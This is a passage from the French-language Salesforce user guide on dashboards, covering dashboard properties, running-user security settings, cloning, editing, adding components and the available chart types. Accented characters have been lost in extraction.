5. Si vous disposez de l'autorisation Personnaliser l'application, entrez un Nom unique. Le nom unique permet de rfrencer
le composant lors de l'utilisation de l'API Force.com. Dans des packages grs, ce nom vite les conflits de nom dans les
installations de package. Ce nom ne peut contenir que des caractres de soulignement et alphanumriques, et il doit tre
unique dans votre organisation. Il doit commencer par une lettre, ne pas inclure despace, ne pas se terminer pas un trait
de soulignement et ne doit pas contenir deux traits de soulignement conscutifs. Le champ Nom unique permet un
dveloppeur de modifier les noms ou les titres de certains composants dans un package gr et d'appliquer les modifications
dans l'organisation d'un abonn.
6. Slectionnez le nombre de colonnes de ce tableau de bord. Chaque tableau de bord peut comporter jusqu' trois colonnes.
7. La section Paramtres de scurit des tableaux de bord permet de dfinir la scurit des tableaux de bord. Les tableaux de
bord sont toujours excuts avec les paramtres de scurit d'un seul utilisateur, savoir l'utilisateur actuel. Comme un seul
utilisateur actuel est spcifi par tableau de bord, tous les utilisateurs qui peuvent accder au tableau de bord affichent les
mmes donnes, quels que soient leurs paramtres de scurit personnels.

Tableaux de bord

Guide de l'utilisateur | Clonage de tableaux de bord | 1358

Choisissez l'utilisateur dont les paramtres de scurit s'appliqueront au tableau de bord. Si vous disposez de l'autorisation
Afficher toutes les donnes, vous pouvez slectionner un autre utilisateur. Si vous ne disposez pas de l'autorisation Afficher
toutes les donnes, vous pouvez uniquement slectionner votre propre identit.
Remarque: Les composants de tableau de bord qui utilisent Visualforce ignorent l'Utilisateur actuel ; le
contenu s'affiche uniquement si l'utilisateur a accs la page Visualforce. Les autres composants du tableau de bord
ne sont pas affects.
Renseignez-vous sur le type de licence que possde votre utilisateur actuel. Par exemple, si l'utilisateur
actuel d'un tableau de bord a une licence Salesforce.com, les dtenteurs de licences de plate-forme Force.com
ou Salesforce Platform One ne pourront pas le voir. Inversement, si l'utilisateur actuel a une licence de
plate-forme Force.com ou Salesforce Platform One, les utilisateurs dots de licences Salesforce.com pourront voir
le tableau de bord. Si certains de vos utilisateurs ont des licences de plate-forme Force.com ou Salesforce Platform
One, il est recommand de leur crer un autre tableau de bord avec un utilisateur actuel dot d'une licence
utilisateur de plate-forme Force.com ou Salesforce Platform One.
8. Slectionnez le dossier o vous souhaitez stocker le tableau de bord.
9. Choisissez une couleur et une taille de texte pour les titres des graphiques du tableau de bord.
10. Choisissez une couleur pour le texte des graphiques.
11. Choisissez une option d'arrire-plan pour le dgrad de couleurs des graphiques, puis slectionnez les deux couleurs du
dgrad. Si vous prfrez un arrire-plan uni ou que vous ne souhaitez pas de dgrad, slectionnez la mme couleur comme
Couleur de dpart et comme Couleur de fin.
12. Cliquez sur Enregistrer.
13. Modifiez le tableau de bord pour organiser la mise en page du tableau de bord et ajouter des composants pour l'affichage
des donnes de rapport personnalis.

Voir aussi :
Proprits de tableaux de bord
Ajout de composants de tableaux de bord
Marquage d'enregistrements
Fiche de conseil de l'administrateur : Conseils de cration de tableaux de bord

Clonage de tableaux de bord

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour cloner des tableaux de bord :

Grer les tableaux de bord

Le clonage d'un tableau de bord permet de crer rapidement un autre tableau de bord dot de proprits indentiques. Les
composants du tableau de bord d'origine sont galement clons.

Tableaux de bord

Guide de l'utilisateur | Modification de tableaux de bord | 1359

Cliquez sur Cloner dans un tableau de bord existant. Saisissez ou modifiez des informations pour le nouveau tableau de
bord, puis cliquez sur Enregistrer.

Voir aussi :
Proprits de tableaux de bord

Modification de tableaux de bord

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des tableaux de bord :

Excution des rapports

AND
Grer les tableaux de bord

Les tableaux de bord peuvent comporter jusqu' trois colonnes de composants de tableau de bord diffrents. Chaque composant
est un graphique reprsentant des donnes issues de l'un de vos rapports personnaliss.
Pour modifier un tableau de bord (nouveau ou existant) :
1. Commencez par crer ou modifier un tableau de bord : Pour modifier un tableau de bord, affichez-le et cliquez sur Modifier.
Pour plus d'informations, reportez-vous Cration et modification de proprits de tableaux de bord la page 1357.
2. Cliquez sur le lien Ajouter un composant au sommet d'une colonne pour y ajouter un composant. Pour plus d'informations,
reportez-vous Ajout de composants de tableaux de bord la page 1361.
3. Cliquez sur le lien Taille de la colonne au sommet d'une colonne pour en modifier la largeur.
Remarque: Si votre composant est un graphique secteurs ou en anneau avec les options Afficher les
valeurs ou Afficher les pourcentages actives et la Position de la lgende dfinie droite, la
largeur de colonne du tableau de bord doit tre Large pour les valeurs et les pourcentages afficher dans le tableau
de bord.
4. Dplacez le nouveau composant vers une autre colonne en utilisant la flche correspondante au-dessus du composant. Ces
boutons peuvent tre dsactivs selon l'emplacement actuel du composant.
5. Cliquez sur le lien Modifier au-dessus du nouveau composant pour modifier ses attributs, au besoin.
6. Cliquez sur le bouton Modifier les proprits en haut de la page pour changer les attributs du tableau de bord. Pour plus
d'informations, reportez-vous Cration et modification de proprits de tableaux de bord la page 1357.
7. Cliquez sur Termin pour afficher le tableau de bord. Toutes les modifications sont immdiatement enregistres dans le
tableau de bord.
D'autres options sont disponibles lors de la cration ou de la modification des tableaux de bord :

Actualiser les informations de tableau de bord - Cliquez sur Actualiser pour actualiser les donnes du tableau de bord.
Supprimer des composants de tableau de bord - Cliquez sur Supprimer au-dessus d'un composant de tableau de bord
pour supprimer celui-ci du tableau de bord.

Tableaux de bord

Guide de l'utilisateur | Proprits de tableaux de bord | 1360

Modifier les composants du tableau de bord - Cliquez sur Modifier au-dessus d'un composant de tableau de bord pour
y apporter des modifications.
Balisage des tableaux de bord : si les balises ont t actives, cliquez sur Ajouter des balises ou Modifier les balises dans
la zone Balises situe au-dessous de la barre de titre en couleur pour marquer l'enregistrement actuel. Si l'enregistrement
a dj t balis, cliquez sur un noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Afficher des tableaux de bord - Cliquez sur Aller la liste du tableau de bord pour afficher la liste de vos tableaux de
bord.
Pour certains types de graphique, cliquez sur le composant de tableau de bord pour afficher les dtails du rapport utilis
pour le crer.

Voir aussi :
Cration et modification de proprits de tableaux de bord
Ajout de composants de tableaux de bord

Proprits de tableaux de bord

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Vous trouverez ci-dessous une description, par ordre alphabtique, des proprits conserves pour chaque tableau de bord.
Champ

Description

Sens du fondu en
arrire-plan

Indique l'orientation du dgrad de couleurs.

Style de prsentation du Indique le nombre de colonnes du tableau de bord.

tableau de bord
Description

Description du tableau de bord permettant d'autres utilisateurs de le localiser.

Couleur de fin

Couleur d'arrive du dgrad utilis en guise d'arrire-plan du graphique.

Dossier

Emplacement de stockage du tableau de bord.

Utilisateur actuel

Paramtres de scurit utilisateur appliquer au tableau de bord. Toute donne visible

par cet utilisateur sera accessible quiconque affiche le tableau de bord.
Les utilisateurs dots de licences utilisateur de plate-forme Force.com ou Salesforce
Platform One ne peuvent voir que les tableaux de bord dont l'utilisateur actuel
possde galement une licence utilisateur de plate-forme Force.com ou Salesforce Platform
One.
Les composants de tableau de bord qui utilisent Visualforce ignorent l'Utilisateur
actuel ; le contenu s'affiche uniquement si l'utilisateur a accs la page Visualforce.
Les autres composants du tableau de bord ne sont pas affects.

Couleur de dpart

Couleur utilise au dpart du motif dgrad.

Couleur du texte

Couleur du texte sur les graphiques au sein du tableau de bord.

Tableaux de bord

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1361

Champ

Description

Titre

Titre de la page affichant tous les composants du tableau de bord.

Couleur du titre

Couleur des titres sur les composants du tableau de bord.

Taille du titre

Taille de police des titres sur les composants du tableau de bord.

Voir aussi :
Cration et modification de proprits de tableaux de bord

Ajout de composants de tableaux de bord

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier et supprimer des tableaux de bord :

Excution des rapports

AND
Grer les tableaux de bord

Ajoutez jusqu' 20 composants de tableau de bord vos tableaux de bord. Les composants peuvent contenir des donnes de
vos rapports personnaliss prsentes en tant que graphique, tableau, mtriques, indicateur, page Visualforce ou commande
custom s-control.
Pour ajouter un composant du tableau de bord :
1. Commencez par crer ou modifier un tableau de bord. Pour modifier un tableau de bord, affichez-le et cliquez sur Modifier.
2. Cliquez sur Ajouter un composant dans l'en-tte d'une colonne, puis dfinissez les proprits suivantes.
Champ

Description

Type de composant

Vous pouvez slectionner un graphique, un tableau, une mesure, un indicateur, une

page Visualforce ou une commande s-control.
Les pages Visualforce doivent respecter certaines exigences pour pouvoir s'afficher dans
des tableaux de bord, sinon, elles ne figurent pas dans la liste droulante Page
Visualforce. Reportez-vous la rubrique Cration de composants de tableau de
bord Visualforce dans le manuel Visualforce Developer's Guide.
Remarque: Les composants de tableau de bord qui utilisent Visualforce
ignorent l'Utilisateur actuel ; le contenu s'affiche uniquement si
l'utilisateur a accs la page Visualforce. Les autres composants du tableau de
bord ne sont pas affects.

Tableaux de bord

Champ

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1362

Description
Les commandes Custom s-controls peuvent contenir tous les types de contenu qui
peuvent tre affichs ou excuts dans un navigateur, par exemple une applet Java, un
contrle ActiveX, un fichier Excel ou un formulaire Web HTML personnalis.
Avertissement: Les commandes S-control ont t remplaces par les pages
Visualforce. Aprs janvier 2010, salesforce.com supprimera la possibilit de
crer et de distribuer de nouvelles commandes S-control. Les commandes
S-control existantes ne seront pas affectes.

En-tte

Saisissez un texte afficher en haut du composant de tableau de bord.

Pied de page

Saisissez un texte afficher en bas composant de tableau de bord.

Titre

Saisissez le nom du composant de tableau de bord.

Units d'affichage

Slectionnez une chelle pour l'affichage des valeurs de graphique. Choisissez Auto
pour laisser Salesforce.com slectionner les units les plus appropries.

Navigation descendante
vers

Slectionnez l'action qui s'excute lorsque les utilisateurs cliquent sur le composant de
tableau de bord (les options disponibles dpendent du type de composant slectionn)
:
Rapport source - l'utilisateur accde au rapport source complet relatif au composant
de tableau de bord.
Rapport source filtr - lorsque les utilisateurs cliquent sur des groupes individuels,
des valeurs d'axe (axe X dans les graphiques en courbes et colonnes, axe Y dans
les graphiques barres) ou des entres de lgende d'un graphique, ils accdent au
rapport source filtr par l'lment sur lequel ils ont cliqu.
Par exemple, si vous avez un graphique colonnes verticales empiles des
opportunits groupes par tapes, avec les mois sur l'axe X, vous pouvez cliquer sur
une tape individuelle dans une barre, sur un mois de l'axe X ou sur une entre de
lgende d'une tape afin de naviguer vers le rapport source filtr par l'lment sur
lequel vous avez cliqu.

Autre URL - l'utilisateur accde l'URL que vous avez spcifie dans le champ
URL de navigation descendante.
Remarque: La navigation descendante filtre est dsactive pour les graphiques
de tableau de bord contenant plus de 200 valeurs.

URL de navigation
descendante

Spcifiez l'URL laquelle les utilisateurs accdent en cliquant sur le composant de

tableau de bord. Cette option permet d'envoyer les utilisateurs vers un autre tableau
de bord, un autre rapport, une autre page de dtails d'un enregistrement ou vers un
autre systme qui utilise une interface Web.
Remarque: Vous ne pouvez pas ajouter des URL commenant par mailto:
ou javascript: aux composants du tableau de bord.

Tableaux de bord

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1363

3. Selon le type de composant, slectionnez le Rapport personnalis, la Page Visualforce ou la commande Custom
S-Control, puis saisissez les paramtres adapts votre type de composant.
Conseil:

Les rapports personnaliss sur les prvisions et les pistes crs partir d'un rapport standard ne figurent pas
ncessairement dans la liste Rapport personnalis.
Vous pouvez crer un tableau de bord partir d'un rapport prsent sous forme de tableau, condition que le
nombre d'enregistrements de ce dernier soit limit. Enregistrez d'abord le rapport, puis modifiez les paramtres
Composants du tableau de bord sur la page Triez les colonnes du rapport. Notez que vous ne pouvez pas utiliser
les types de composant d'indicateur ou de mesure dans les tableaux de bord crs partir de rapports dont le
nombre d'enregistrements est limit.

Graphique
Pour les graphiques, configurez les paramtres de graphique appropris :
Paramtre de graphique

Description

Utiliser un graphique
tel que dfini dans le
rapport source

Slectionnez cette option pour utiliser un graphique dfini dans le rapport source
de ce tableau de bord. Les paramtres de graphique du rapport source dterminent
l'affichage du graphique dans le tableau de bord. Si vous dfinissez un graphique
de combinaison dans le rapport source, slectionnez cette option pour utiliser ce
graphique de combinaison dans le tableau de bord.

Type de graphique

Slectionnez le type de graphique utiliser lors de la reprsentation des donnes

dans votre rapport. Le type de graphique que vous slectionnez dtermine les
proprits dfinir disponibles.

Trier par

Choisissez un critre de tri pour indiquer quels lments doivent tre affichs en
premier sur l'axe horizontal d'un graphique horizontal ou l'axe vertical d'un
graphique vertical.

Valeurs maximales
affiches

Saisissez le nombre maximum d'lments inclure dans le groupement suprieur

de l'axe horizontal d'un graphique horizontal, de l'axe vertical d'un graphique
vertical ou de l'axe slectionn d'un graphique en barres empiles. Par exemple, si
vous voulez uniquement afficher la liste de vos 5 meilleurs commerciaux, crez un
rapport d'opportunit dressant la liste des montants totaux des opportunits par
responsable et saisissez 5 dans ce champ.

Position de la lgende

Choisissez l'emplacement de la lgende par rapport votre graphique.

Plage des axes

Choisissez une plage d'axe manuelle ou automatique pour les graphiques barres,
en courbes ou colonnes. Si vous choisissez une plage d'axe manuelle, saisissez les
valeurs minimale et maximale de la plage d'axe afficher. Si des points de donnes
se situent hors de la page dfinie, l'axe s'agrandit automatiquement pour inclure
ces valeurs lors de la gnration du graphique.

Plage des axes du

graphique Valeur
minimum
Plage des axes du
graphique Valeur
maximum
Petites valeurs

Combinez tous les groupes infrieurs ou gaux 3 % du total dans un seul secteur
ou segment Autres . Dsactivez cette option pour afficher toutes les valeurs

Tableaux de bord

Paramtre de graphique

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1364

Description
individuelles dans le graphique. Elle s'applique uniquement aux graphiques
secteurs, en anneau ou en entonnoir. Par dfaut, cette option est active dans les
graphiques secteurs et en anneau, et dsactive dans les graphiques en entonnoir.
Disponible uniquement avec Chart Analytics 2.0.

Afficher les valeurs

Affichez les valeurs d'enregistrements individuels ou de groupes dans le graphique.

Ceci s'applique uniquement certains types de graphiques. Disponible uniquement
avec Chart Analytics 2.0.

Afficher le pourcentage Affichez la valeur en pourcentage de chaque section de graphiques secteurs ou

en anneau, ou de chaque section de graphiques en entonnoir. Disponible

uniquement avec Chart Analytics 2.0.
Afficher le total

Affichez la valeur du total dans le graphique en anneau. Disponible uniquement

avec Chart Analytics 2.0.

Afficher les dtails

lors du survol

Affichez les valeurs, les tiquettes et les pourcentage lors du survol des graphiques.
Les dtails de survol dpendent du type de graphique. Les pourcentages
s'appliquent uniquement aux graphiques secteurs, en anneau ou en entonnoir.
Disponible uniquement avec Chart Analytics 2.0.
Remarque: Les dtails de survol sont dsactivs pour les graphiques de
tableau de bord contenant plus de 200 valeurs.

Tableau et mesure
Pour les tableaux, configurez les paramtres de tableau appropris :
Paramtre de tableau

Description

Trier par

Indiquez si vous voulez que les lments du tableau soient tris par tiquettes ou
par valeurs, et si vous souhaitez les afficher en ordre ascendant ou descendant.

Valeurs maximales
affiches

Saisissez le nombre maximum d'lments inclure dans le tableau. Par exemple,

si vous voulez uniquement afficher la liste de vos 5 meilleurs commerciaux, crez
un rapport d'opportunit dressant la liste des montants totaux des opportunits
par responsable et saisissez 5 dans ce champ.

Pour les mesures, saisissez l'tiquette de mesure afin de prsenter la valeur affiche. Une mesure affiche le total
gnral d'un rapport personnalis en fonction de votre tiquette pour cette valeur.
Vous pouvez galement dfinir jusqu' trois plages de valeurs reprsenter par des couleurs dans votre tableau de
bord afin de mettre en vidence des donnes rcapitulatives, tels que des pourcentages levs ou faibles, des moyennes
et des ratios.

Tableaux de bord

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1365

Paramtre

Description

Couleur d'entre de
gamme

Slectionnez la couleur qui reprsente la gamme de nombres faible.

Valeur du point de
rupture n 1

Valeur sparant la couleur d'entre de gamme de la couleur centrale du tableau de

bord.

Couleur de milieu de
gamme

Slectionnez la couleur qui reprsente la gamme de nombres moyenne.

Valeur du point de
rupture n 2

Valeur sparant la couleur de milieu de gamme de la couleur haut de gamme du

tableau de bord.

Couleur haut de gamme

Slectionnez la couleur qui reprsente la gamme de nombres leve. Cette couleur

commence au niveau de la valeur du point de rupture n 2.

Indicateur
Pour les indicateurs, dfinissez les couleurs qui reprsentent de gauche droite les niveaux bas, moyen et lev dans
votre indicateur. Choisissez ensuite la plage des valeurs qui reprsentent chaque couleur.
Paramtres d'valuation

Description

Valeur minimale

Valeur la plus faible de l'indicateur.

Couleur d'entre de
gamme

Couleur correspondant la partie gauche de l'indicateur. Cette section s'tend de

la Valeur minimale la Valeur du point de rupture n1.

Valeur du point de
rupture n 1

Valeur sparant la couleur la plus gauche de la couleur centrale de l'indicateur.

Couleur de milieu de
gamme

Couleur correspondant la partie intermdiaire de l'indicateur. Cette partie s'tend

de la Valeur du point de rupture n1 la Valeur du point de
rupture n2.

Valeur du point de
rupture n 2

Valeur sparant la couleur centrale de la couleur la plus droite de l'indicateur.

Couleur haut de gamme

Couleur correspondant la partie droite de l'indicateur. Cette couleur s'tend de

la Valeur du point de rupture n2 la Valeur maximale.

Valeur maximale

Valeur la plus leve de l'indicateur.

Afficher le pourcentage Affiche la valeur actuelle en pourcentage de la valeur maximale de l'indicateur.

Disponible uniquement avec Chart Analytics 2.0.

Afficher le total

Affiche la valeur actuelle de l'indicateur. Disponible uniquement avec Chart

Analytics 2.0.

Page Visualforce
Pour les pages Visualforce, slectionnez la page, puis dfinissez la hauteur d'affichage.

Tableaux de bord

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1366

Commande Custom S-Control

Pour les commandes custom s-controls, slectionnez la commande custom s-controls, puis dfinissez la hauteur
d'affichage.
4. Cliquez sur Enregistrer.

Voir aussi :
Cration et modification de proprits de tableaux de bord
Modification de tableaux de bord
Types de graphiques et de composants
Utilisation de graphiques de combinaison
Options supplmentaires pour la mise jour de listes de slection

Types de graphiques et de composants

Les types de graphiques suivants sont disponibles pour afficher les donnes de rapports et les tableaux de bord :
Type de graphique

Image

Description

Barres horizontales

Ce type de graphique permet d'afficher un seul regroupement ou un rapport rcapitulatif

contenant un seul regroupement. Par exemple, pour afficher dans un rapport le montant
de chaque tape de vente, dfinissez le montant sur l'axe X et l'tape sur l'axe Y. Pour
chaque tape, le graphique affiche une barre dont la longueur est proportionnelle au montant
total de l'opportunit. L'avantage des graphiques barres horizontales est la possibilit de
les agrandir verticalement pour afficher plusieurs regroupements, bien que leur largeur soit
fixe.

Barres horizontales :
groupes

Ce type de graphique permet d'afficher plusieurs regroupements et de comparer les valeurs

dans un deuxime regroupement, mais pas les totaux. Par exemple, pour comparer dans
un rapport le montant des affaires cltures chaque mois par origine de piste, dfinissez le
montant sur l'axe X, l'origine sur l'axe Y et le mois de clture comme valeur
Regroupements. Le graphique affiche une srie de barres pour chaque origine, une barre
par mois. Il est ais de comparer les diffrences mensuelles dans une source donne. Vous
pouvez galement comparer un mois donn travers plusieurs origines, mais la comparaison
entre le nombre total de pistes de chaque origine peut se rvler difficile. Pour comparer
les totaux, utilisez un graphique empil.

Barres horizontales :
empiles

Ce type de graphique permet d'afficher plusieurs regroupements afin de comparer les

proportions entre les valeurs de chaque regroupement, ainsi que les totaux des
regroupements. Par exemple, pour comparer dans un rapport le statut de pistes par campagne
et comparer les totaux des statuts, dfinissez le nombre d'enregistrements sur l'axe X, le
statut sur l'axe Y et la campagne comme valeur Regroupements. Le graphique affiche
une barre par statut, divise par campagne, chaque campagne tant indique par une couleur
diffrente. Il est ais de comparer la proportion de chaque campagne dans chaque statut,
ainsi que les totaux des statuts, mais la comparaison de la contribution d'une seule campagne
avec diffrents statuts ou avec le total, peut se rvler difficile.

Tableaux de bord

Type de graphique

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1367

Image

Description

Barres horizontales :
empiles 100 %

Ce type de graphique permet d'afficher plusieurs regroupements afin de comparer les

proportions entre les valeurs de chaque regroupement, plutt que les valeurs elles-mmes.
Comme toutes les barres sont de longueur gale, les valeurs relles ne sont pas visibles ni
pertinentes. Par exemple, pour afficher dans un rapport les opportunits de chaque
propritaire selon leur proportion par tape, dfinissez les opportunits sur l'axe X, les
tapes sur l'axe Y et le propritaire comme valeur Regroupements. Le graphique affiche
une barre par propritaire, divise par tapes, chaque segment reprsentant la proportion
d'opportunits dans cette tape, par rapport aux opportunits totales de ce propritaire.

Colonnes verticales

Ce type de graphique permet d'afficher un seul regroupement ou un rapport rcapitulatif

contenant un seul regroupement. Par exemple, pour afficher dans un rapport le nombre
de pistes par origine, dfinissez le nombre d'enregistrements sur l'axe Y et l'origine sur
l'axe X. Le graphique affiche une colonne par origine, la hauteur tant proportionnelle
au nombre total de pistes. La largeur des graphiques colonnes est limite par la taille des
colonnes du tableau de bord et la taille du graphique du rapport. Les graphiques barres
horizontales sont gnralement prfrables pour un grand nombre de regroupements. Les
graphiques colonnes sont pratiques pour afficher des valeurs par date, car les dates sont
gnralement indiques sur l'axe X.

Colonnes verticales :
groupes

Ce type de graphique permet d'afficher plusieurs regroupements et de comparer les valeurs

dans un deuxime regroupement, mais pas les totaux. Par exemple, pour comparer dans
un rapport le nombre d'opportunits cres chaque mois par origine de campagne, dfinissez
le nombre d'enregistrements sur l'axe Y, le mois de cration sur l'axe X et l'origine comme
valeur Regroupements. Le graphique affiche une srie de barres pour chaque origine,
une barre par mois. Il est ais de comparer les diffrences entre des origines pendant un
mois donn. Vous pouvez galement comparer une origine donne sur plusieurs mois, mais
la comparaison entre le nombre total d'opportunits de chaque mois peut se rvler difficile.
Pour comparer les totaux, utilisez un graphique empil.

Colonnes verticales :
empiles

Ce type de graphique permet d'afficher plusieurs regroupements afin de comparer les

proportions entre les valeurs de chaque regroupement, ainsi que les totaux des
regroupements. Par exemple, pour comparer dans un rapport le nombre d'opportunits
cres chaque mois par origine de campagne, dfinissez le nombre d'enregistrements sur
l'axe Y, le mois de cration sur l'axe X et l'origine comme valeur Regroupements. Le
graphique affiche une barre par mois, divise par origine, chaque origine tant indique
par une couleur diffrente. Il est ais de comparer la proportion de chaque origine par mois,
ainsi que les totaux mensuels, mais la comparaison de la contribution d'une seule origine
des mois diffrents ou avec le total, peut se rvler difficile.

Colonnes verticales :
empiles 100 %

Ce type de graphique permet d'afficher plusieurs regroupements afin de comparer les

proportions entre les valeurs de chaque regroupement, plutt que les valeurs elles-mmes.
Comme toutes les colonnes sont de hauteur gale, les valeurs relles ne sont pas visibles ni
pertinentes. Par exemple, pour afficher dans un rapport la proportion d'opportunits
mensuelles par origine de campagne, dfinissez le nombre d'enregistrements sur l'axe Y,
le mois de cration sur l'axe X et l'origine comme valeur Regroupements. Le graphique
affiche une colonne par mois, divise par origine, chaque segment reprsentant la proportion
d'opportunits gnres depuis cette origine, par rapport aux opportunits totales de ce
mois.

Tableaux de bord

Type de graphique
Courbes

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1368

Image

Description
Ce type de graphique permet d'afficher un regroupement important, reprsentant un jeu
de donnes tries, et une valeur montrer. Par exemple, pour afficher dans un rapport le
nombre de pistes cres chaque mois, dfinissez le nombre d'enregistrements sur l'axe Y
et le mois de cration sur l'axe X. Le graphique affiche une courbe montrant le nombre
total d'enregistrements par mois. Les graphiques en courbes sont pratiques pour montrer
des donnes sur une priode donne.
Salesforce.com ne trace pas les valeurs manquantes (nulles). Si une valeur manque dans un
jeu de donnes, Salesforce.com affiche un espace sur la courbe.

Courbes : groupes

Ce type de graphique permet d'afficher plusieurs regroupements, chaque regroupement

contenant un regroupement secondaire important dans un jeu de donnes tries, et une
valeur montrer. Par exemple, pour afficher dans un rapport les pistes mensuelles par
origine de piste, dfinissez le nombre d'enregistrements sur l'axe Y, le mois de cration
sur l'axe X et l'origine comme valeur Regroupements. Le graphique affiche une ligne
par origine, reprsentant le nombre total d'enregistrement de cette orgine par mois. Chaque
ligne s'tend du premier au dernier mois contenant des donnes. La comparaison du nombre
total de chaque mois peut se rvler difficile.
Salesforce.com ne trace pas les valeurs manquantes (nulles). Si une valeur manque dans un
jeu de donnes, Salesforce.com affiche un espace sur la courbe.

Courbes : cumules

Ce type de graphique permet d'afficher un regroupement important, reprsentant un jeu

de donnes tries, et une valeur montrer, cumuls sur une priode donne. Par exemple,
pour afficher dans un rapport le montant total des opportunits cltures par jour pendant
le mois en cours, dfinissez le montant sur l'axe Y et le jour de clture sur l'axe X. Le
graphique affiche une ligne dont la hauteur reprsente le montant cumul des opportunits
cltures jusqu' ce jour, inclus. Vous ne pouvez pas afficher le montant correspond un
seul jour, seul le montant cumul est indiqu.
Si le jeu de donnes contient une valeur manquante (nulle), Salesforce.com poursuit la
ligne en utilisant la valeur prcdente dans le jeu de donnes.

Courbes : groupes
cumules

Ce type de graphique permet d'afficher plusieurs regroupements, chaque regroupement

contenant un regroupement secondaire important dans un jeu de donnes tries, et une
valeur montrer, cumules sur une priode donne. Par exemple, pour afficher dans un
rapport le montant total des opportunits cltures par jour pour les trois mois prcdents,
dfinissez le montant sur l'axe Y, le jour de clture sur l'axe X et le mois de clture
comme valeurRegroupements. Le graphique affiche une ligne pour chaque mois, dont
la hauteur reprsente le montant cumul des opportunits cltures jusqu' ce jour, inclus.
Vous ne pouvez pas afficher le montant correspond un seul jour, seul le montant cumul
est indiqu.
Si le jeu de donnes contient une valeur manquante (nulle), Salesforce.com poursuit la
ligne en utilisant la valeur prcdente dans le jeu de donnes.

Secteurs

Ce type de graphique permet d'afficher plusieurs regroupements et la proportion d'une

seule valeur pour chaque regroupement par rapport au total. Par exemple, pour afficher
dans un rapport la rpartition de votre file de requtes par statut de requte, dfinissez le
nombre d'enregistrements sur les Valeurs et le statut sur les Sections. Ce graphique

Tableaux de bord

Type de graphique

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1369

Image

Description
affiche un cercle compos de secteurs, chaque secteur reprsentant les requtes dans un
statut de la requte. La taille des secteurs est proportionnelle au nombre de requtes. Les
graphiques secteurs ne sont pas pratiques pour comparer des valeurs proches ou plusieurs
petites valeurs.
Pour inclure ces informations dans le graphique, slectionnez Afficher les
tiquettes, Afficher les valeurs ou Afficher le % de sections.
(disponible uniquement avec Chart Analytics 2.0).

Anneau

Ce type de graphique permet d'afficher plusieurs regroupements, et pas seulement la

proportion d'une seule valeur pour chaque regroupement par rapport au total, mais
galement le montant total. Par exemple, pour afficher dans un rapport la rpartition de
votre file de requtes par statut de requte, ainis que le nombre total de requtes, dfinissez
le nombre d'enregistrements sur les Valeurs et le statut sur les Sections. Ce graphique
affiche un anneau compos de secteurs, chaque secteur reprsentant un statut de la requte.
La taille des secteurs est proportionnelle au nombre de requtes. Le nombre total de requtes
pour tous les statuts est affich au centre.
Pour inclure ces informations dans le graphique, slectionnez Afficher les
tiquettes, Afficher les valeurs, Afficher le % de sections ou
Afficher le total. (disponible uniquement avec Chart Analytics 2.0).

Entonnoir

Ce type de graphique permet d'afficher plusieurs regroupements dans un ensemble tri

pour indiquer leurs proportions respectives. Par exemple, pour afficher dans un rapport le
montant des opportunits de chaque tape, dfinissez le montant sur les Valeurs et l'tape
sur les Segments. Comme le champ tape d'opportunit est une liste de slection
trie, les tapes sont classes dans le mme ordre que la liste de slection, chaque segment
reprsentant le montant d'une tape. Les graphiques en entonnoir sont pratiques pour
montrer le flux d'opportunits travers les tapes. Un segment plus large peut indiquer un
goulot d'tranglement une tape.
Pour inclure ces informations dans le graphique, slectionnez Afficher les
tiquettes, Afficher les valeurs ou Afficher le % de segments.
(disponible uniquement avec Chart Analytics 2.0).

Les autres types de composants ci-dessous sont disponibles pour afficher des donnes de rapports et des tableaux de bord, sauf
indication contraire :
Type de composant Image

Description

Tableau

Pour tableaux de bord uniquement. Un tableau permet d'afficher un regroupement important

pour montrer une valeur numrique correspondant chaque valeur du regroupement. Par
exemple, pour afficher les 20 premires opportunits par montant, dfinissez Valeurs
maximales affiches sur 20, puis Trier par sur Valeur de ligne
descendante. Dans un rapport utilis pour ce tableau de bord, vous pouvez afficher un
graphique barres horizontales avec le nom de l'opportunit sur l'axe Y et le montant de
l'opportunit sur l'axe X pour afficher les montants des opportunits.

Tableaux de bord

Guide de l'utilisateur | Ajout de composants de tableaux de bord | 1370

Type de composant Image

Description

Mesure

Pour tableaux de bord uniquement. Ce type de graphique permet d'afficher une valeur
principale. Par exemple, pour afficher dans un rapport le montant total de toutes les
opportunits dans les tapes Cltur, Valid et Requte de base pendant le mois
en cours, vous pouvez nommer cette valeur et l'utiliser comme cible de chiffre d'affaires
pour le mois affich dans le tableau de bord.

Indicateur

Pour tableaux de bord uniquement. Ce type de graphique permet d'afficher une valeur
unique dans une srie de valeurs personnalises. Par exemple, pour crer un tableau de bord
qui mesure l'emplacement des montants actuels de vos opportunits cltures dans une
srie de valeurs, dfinissez la Valeur minimale, la Valeur du point de rupture
n 1, la Valeur du point de rupture n 2 et la Valeur maximale de
l'indicateur. Les sries que vous dfinissez peuvent indiquer des performances faibles,
acceptables ou bonnes. Dfinissez des couleurs adaptes chaque srie afin d'indiquer la
progression. Pour crer un indicateur ne contenant que deux sries, laissez le champ Valeur
du point de rupture n2 vide.
Slectionnez Afficher le pourcentage ou Afficher le total pour montrer ces
valeurs sur l'indicateur. Les valeurs dpassant les limites maximales sont indiques comme
suprieures 100 %. (disponible uniquement avec Chart Analytics 2.0).

Page Visualforce

N/A

Une page Visualforce permet de crer un composant personnalis ou d'afficher des

informations qui ne sont pas disponibles dans un autre type de composant. Par exemple,
une page Visualforce peut afficher des donnes depuis un systme externe ou afficher des
donnes Salesforce.com dans une prsentation personnalise. Les pages Visualforce doivent
respecter certaines exigences pour pouvoir s'afficher dans des tableaux de bord, sinon, elles
ne figurent pas dans la liste droulante Page Visualforce.

Commandes Custom N/A

S-Control

